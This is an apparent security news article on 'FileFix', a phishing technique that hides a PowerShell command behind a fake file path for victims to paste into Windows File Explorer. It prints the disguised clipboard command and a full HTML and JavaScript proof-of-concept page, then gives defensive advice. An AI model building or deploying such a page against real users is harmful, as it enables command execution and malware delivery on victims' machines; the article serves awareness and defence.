New FileFix Exploit Uses Windows File Explorer to Run Malicious Commands

A newly discovered exploit, dubbed “FileFix,” is raising alarms in the cybersecurity community for its innovative use of Windows File Explorer to execute malicious commands, without ever leaving the web browser.

Developed by security researcher mr.d0x, FileFix is a creative evolution of the notorious ClickFix social engineering attack and demonstrates how even trusted system features can be weaponized by attackers.

How FileFix Works

Unlike traditional ClickFix attacks, which prompt users to paste copied commands into the Windows Run Dialog (Win+R), FileFix leverages the file upload functionality commonly found on websites.

When a victim clicks an “Open File Explorer” or “Choose File” button on a phishing page, the Windows File Explorer dialog opens.

Here’s the twist: the attacker instructs the user to copy a seemingly harmless file path and paste it into the File Explorer address bar.

Unbeknownst to the user, this path conceals a malicious PowerShell command, cleverly hidden after a comment in the address bar.

For example, the phishing page might display instructions like:

To access the file, follow these steps:

1. Copy the file path below:
   C:\company\internal-secure\filedrive\HRPolicy.docx
2. Open File Explorer and select the address bar (CTRL + L)
3. Paste the file path and press Enter

However, what’s actually copied to the clipboard is:

Powershell.exe -c ping example.com # C:\company\internal-secure\filedrive\HRPolicy.docx

When pasted into the address bar and executed, Windows runs the PowerShell command, while the dummy file path after the hash (#) hides the true intent from the user.

Proof-of-Concept Code

Below is a simplified version of the attack page code, as demonstrated by mr.d0x:

<input type="file" id="fileInput" style="display: none;">
<button id="fileExplorer">Open File Explorer</button>
<div class="code-block" id="path">
C:\company\internal-secure\filedrive\HRPolicy.docx
</div>

<script>
const fileInput = document.getElementById('fileInput');
const fileExplorer = document.getElementById('fileExplorer');
const path = document.getElementById('path');

// Copy the hidden PowerShell command on click
path.addEventListener('click', function() {
  navigator.clipboard.writeText("Powershell.exe -c ping example.com # C:\\company\\internal-secure\\filedrive\\HRPolicy.docx");
});

// Copy command and open File Explorer
fileExplorer.addEventListener('click', function() {
  navigator.clipboard.writeText("Powershell.exe -c ping example.com # C:\\company\\internal-secure\\filedrive\\HRPolicy.docx");
  fileInput.click();
});

// Block actual file uploads
fileInput.addEventListener('change', () => {
  alert("Please follow the stated instructions.");
  fileInput.value = "";
  setTimeout(() => fileInput.click(), 500);
});
</script>

This script ensures the user cannot upload a file, instead repeatedly prompting them to follow the attacker’s instructions.

Why FileFix Is Dangerous

FileFix is particularly insidious because it exploits familiar workflows—file uploads and the Windows File Explorer—to bypass user suspicion.

The attack does not require elevated privileges or complex malware; it relies on simple social engineering and the user’s trust in standard Windows dialogs. 

Chrome’s process tree even shows that cmd.exe is spawned directly from the browser session, confirming the command execution.

Security experts warn that FileFix could be used to deliver infostealers, ransomware, or other malware, and its stealthy nature makes it a significant threat to both individuals and organizations.

How to Stay Safe

• Be skeptical of instructions to copy and paste file paths or commands, especially from unfamiliar sources.
• Monitor for suspicious child processes (e.g., cmd.exe, powershell.exe) spawned by browsers.
• Keep security software updated and educate users about new social engineering tactics.

As attackers continue to innovate, vigilance and user awareness remain the best defense against exploits like FileFix.

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